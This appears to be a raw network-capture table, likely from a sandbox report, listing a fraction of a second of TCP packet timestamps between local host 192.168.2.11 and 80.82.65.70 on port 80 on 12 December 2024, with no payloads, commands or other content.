                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.098347902 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.098355055 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.098490953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.099380016 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.099601030 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.099654913 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.099654913 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.100466013 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.100474119 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.100585938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.101392984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.101857901 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.101895094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.102423906 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.102430105 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.102468014 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.102468967 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.103362083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.103490114 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.241602898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.241904020 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.241914988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.241993904 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.242178917 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.242350101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.242374897 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.242434978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.243125916 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.243205070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.243587971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.243726015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.244043112 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.244631052 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.244632006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.244641066 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.244868040 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.245702982 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.245714903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.246145010 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.246721029 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.246728897 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.247335911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.247845888 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.247857094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.247900009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.247926950 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.248981953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.248989105 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.249118090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.249118090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.249766111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.249782085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.249845982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.250875950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.250884056 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.251265049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.251729965 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.251877069 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.251894951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.252497911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.252880096 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.252902985 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.253609896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.254045010 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.254851103 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.254857063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255072117 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255072117 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255084991 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255309105 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255935907 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.255944014 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.256136894 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.256946087 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.256953955 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.257112980 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.258052111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.258059025 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.258140087 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.259083986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.259092093 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.259337902 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.260073900 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.260082006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.261042118 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.261060953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.261071920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.261303902 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.261981010 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.262104034 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.262150049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.262198925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.263103962 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.263144970 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.263181925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.263181925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.264064074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.264297009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.264324903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.264456034 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.265202999 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.265703917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.265741110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.265824080 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.266100883 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.266182899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.266213894 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.266325951 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.267119884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.267165899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.267246962 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.267290115 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.268254995 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.268261909 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.268419981 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.269268036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.269274950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.269346952 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.270374060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.270380020 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.270483017 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.271234989 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.271353960 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.271372080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.271568060 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.272304058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.272310972 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.272497892 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.273365021 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.273402929 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.273452044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.273473978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.274318933 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.274379015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.274534941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.274883032 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.275542021 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.275643110 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.275650978 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.275702953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.276490927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.276602983 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.276627064 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.276684046 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.277514935 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.277523041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.277600050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.278553963 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.278561115 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.279267073 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.279587984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280198097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280219078 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280534983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280543089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280560017 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.280591965 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.281639099 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.281646967 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.281799078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.282515049 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.282589912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.282735109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.282871008 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.283499956 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.283546925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.283580065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.283776999 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.284569979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.284709930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.284748077 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.284748077 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.285619020 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.285676956 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.285795927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.286047935 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.286670923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.286705017 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.286859035 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.287703037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.287859917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.287916899 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.288173914 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.288856983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.288876057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.289206982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.289729118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.289748907 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.290788889 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.290788889 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.290836096 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.290996075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.291038990 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.291275978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.291776896 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.291932106 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.292115927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.292362928 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.292900085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.293119907 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.293123007 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.293230057 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.293963909 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294090986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294190884 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294795990 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294816971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294836998 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294948101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.294948101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.433691978 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.433830976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.433904886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.434263945 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.434286118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.434423923 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.435276985 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.435286045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.435344934 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.436306000 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.436625957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.436795950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.437067032 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.437295914 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.437489986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.437505007 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.437535048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.438395977 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.438491106 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.438508034 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.438699961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.439538002 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.439610004 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.439690113 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.440011024 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.440366983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.440515041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.440710068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.440710068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.441395998 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.441515923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.441968918 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.441968918 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.442486048 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.442603111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.442679882 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.443445921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.443536997 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.443553925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.443576097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.444468021 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.444564104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.444617033 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.444911957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.445487976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.445549011 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.445635080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.445689917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.446535110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.446620941 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.446661949 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.446788073 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.447593927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.447669983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.447714090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.448571920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.448636055 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.448661089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.448801994 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.449664116 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.449743986 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.449837923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.449992895 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.450614929 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.450808048 CET4988280192.168.2.1180.82.65.70
